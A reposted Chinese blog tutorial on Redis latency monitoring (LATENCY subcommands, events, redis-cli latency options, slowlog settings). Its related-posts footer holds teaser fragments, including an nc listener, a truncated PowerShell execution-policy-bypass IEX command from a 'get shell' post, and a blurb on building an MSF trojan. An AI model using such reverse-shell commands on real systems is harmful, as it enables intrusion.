Redis之延迟监控

  • *参考官方文档

  • *启用 redis 延迟监控

CONFIG SET latency-monitor-threshold 100

单位:毫秒,100表示一百毫秒。如果将 latency-monitor-threshold 的值设置为 0,则表示关闭延迟监控。

  • *子命令

1)LATENCY LATEST

返回所有事件的最新延迟样本

2)LATENCY HISTORY event

返回最多160条的给定 event 的延迟时间序列(延迟发生时的时间戳和延迟毫秒数)

3)LATENCY RESET event

重置一个或多个 events 的延迟时间序列数据为零,如果不指定参数 event,则表示重置所有的 events。

4)LATENCY GRAPH event

以文本图表方式展示

5)LATENCY DOCTOR

回复人类可读的延迟分析报告

6)LATENCY HELP

查看使用帮助

  • *支持的事件(events)

命令名 命令说明 command 常规命令 fast-command 时间复杂度为”O(1)”和”O(log N)”的快命令 fork 系统调用 fork aof-stat 系统调用 stat aof-write 系统调用 write aof-rename 系统调用 rename aof-fsync-always 设置”appendfsync allways”时的系统调用 fsync aof-write-active-child 子进程执行的系统调用 fsync rdb-unlink-temp-file 系统调用 unlink active-defrag-cycle 主动碎片整理周期 aof-rewrite-diff-write aof-write-alone 主进程执行的 fsync 系统调用 aof-write-pending-fsync expire-cycle 过期周期 eviction-cycle 淘汰周期 eviction-del

  • *redis-cli 对延迟监控的支持

与延迟监控有关的参数:

参数名 参数说明 –latency 以文本方式显示持续采样服务器延迟时间 –latency-dist 以 256 色的频谱方式显示,如果和参数”–latency”同时使用,则被忽略 –latency-history 持续采集并每隔一段时间(默认15秒,可参数”-i”设置其它值)输出一个记录

采样的原理是向目标 redis-server 发向 PING 命令来获得延迟时间。

1)启用慢日志

CONFIG SET slowlog-log-slower-than 100

单位:微秒(注意不是毫秒),100表示一百微秒,表示执行时长超过100微秒的命令才会被记录下来。如果值为负数则表示关闭记录慢日志,如果值为0表示记录所有命令的慢日志。

记录慢日志不会有文件操作,所以对性能影响非常小,因此可考虑记录所有命令(将 slowlog-log-slower-than 值设置为 0 即可)。

2)设置记录的慢日志数量

CONFIG SET slowlog-max-len 10

上述表示记录最近 10 条慢日志。

3)查询慢日志

SLOWLOG GET

不带参数返回所有的(配置 slowlog-max-len 决定)慢日志,可指定参数只返回最新的 N 条慢日志,如最新的 10 条:

SLOWLOG GET 10

4)查询当前慢日志条数

SLOWLOG LEN

Original: https://www.cnblogs.com/aquester/p/13571263.html
Author: -见
Title: Redis之延迟监控

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/529092/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • 计算机网络基础

    计算机网络基础 计算机网络的定义和功能 计算机网络是利用通信设备和线路,将分布在地理位置不同的、功能独立的多个计算机系统连接起来,以功能完善的网络软件(网络通信协议及网络操作系统等…

    Linux 2023年6月7日
    0100
  • Android so(ELF)文件解析

    一、前言 so文件是啥?so文件是elf文件,elf文件后缀名是 .so ,所以也被chang常称之为 so文件,elf文件是linux…

    Linux 2023年6月8日
    0105
  • flask的使用

    python网站开发框架: django:大而全 flask:小而精 flask的web服务器:werkzeug 模板语法: jinjia2,兼容dtl 登录案例: from fl…

    Linux 2023年6月14日
    0105
  • Alpine系统

    Alpine Alpine 1.Alpine是什么 2.Alpine的有点 3.安装Alpine 4.Alpine常用命令 软件管理 服务管理 修改IP地址 1.Alpine是什么…

    Linux 2023年6月13日
    0135
  • linux编译安装nginx

    本文升级过程,适用于大部分nginx编译版本 常用编译选项说明nginx大部分常用模块,编译时./configure –help以–without开头的都默认安装。 –prefix…

    Linux 2023年5月27日
    086
  • 018.CentOS升级内核

    作者:木二 出处:http://www.cnblogs.com/itzgr/ 关于作者:云计算、虚拟化,Linux,多多交流! 本文版权归作者所有,欢迎转载,但未经作者同意必须保留…

    Linux 2023年6月13日
    0119
  • redis的事务不是原子性

    Reference: https://blog.csdn.net/u011692780/article/details/81213010 一、事务的四大特性 关系型数据库的事务具有…

    Linux 2023年5月28日
    089
  • 配置git环境与项目创建

    主要用于记录上课笔记,方便以后复习 acgit的地址:https://git.acwing.com/wyw/kob1/ 1. 项目模块的包含 1.1 采用前后端分离 Web端大概框…

    Linux 2023年6月6日
    0118
  • 【原创】Linux PCI驱动框架分析(一)

    背景 Read the fucking source code! –By 鲁迅 A picture is worth a thousand words. –…

    Linux 2023年6月8日
    0123
  • @Import 源码解析

    转发请注明出处: @Import通过快速导入的方式实现把实例加入spring的IOC容器中;一般@EnableXXX注解是通过@Import实现具体的功能(@EnableXXX注解…

    Linux 2023年6月14日
    061
  • linux下中文输入法问题

    故事背景:最近在做资产上报相关功能,要支持中文输入,如果正常快捷方式启动程序没问题,但是升级或者卸载重新安装,自启的时候是使用su usr -C XX.sh启动,root下启动没办…

    Linux 2023年6月13日
    086
  • mysql通过mysqldump命令重做从库详细操作步骤

    备份主库所有数据,并将dump.sql文件拷贝到从库/tmp目录 mysqldump -uroot -p –set-gtid-purged=OFF –single-transa…

    Linux 2023年6月8日
    077
  • MSF生成木马实现远控

    思路 使用kali工具msf制作exe木马文件靶机通过点击开启后门进行监听 原理 靶机执行木马文件后,向攻击机中发送信息建立session会话,本机打开监听状态,收到信息后进行操作…

    Linux 2023年6月13日
    061
  • Java基础系列–01_基础类型

    J2SE、J2ME、J2EE分别指什么?J2SE 基础版,桌面应用。J2ME 微型版,手机开发。(android,ios)J2EE 企业版,所有浏览器访问的应用程序。注意:JDK5…

    Linux 2023年6月7日
    0102
  • Get shell By Powershell

    Invoke-PowerShellTcp.ps1 监听主机:nc -nv -l -p 9999 powershell -nop -exec bypass -c "IEX …

    Linux 2023年5月28日
    097
  • 小白上手Linux系统安装jdk教程

    Eg:将上传后的jdk,解压到/home/lzh/jdk目录下,命令如下: tar -zxvf ./ jdk 版本号 -C /home/lzh/jdk/ 注意末尾必须加&#8221…

    Linux 2023年5月27日
    092
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球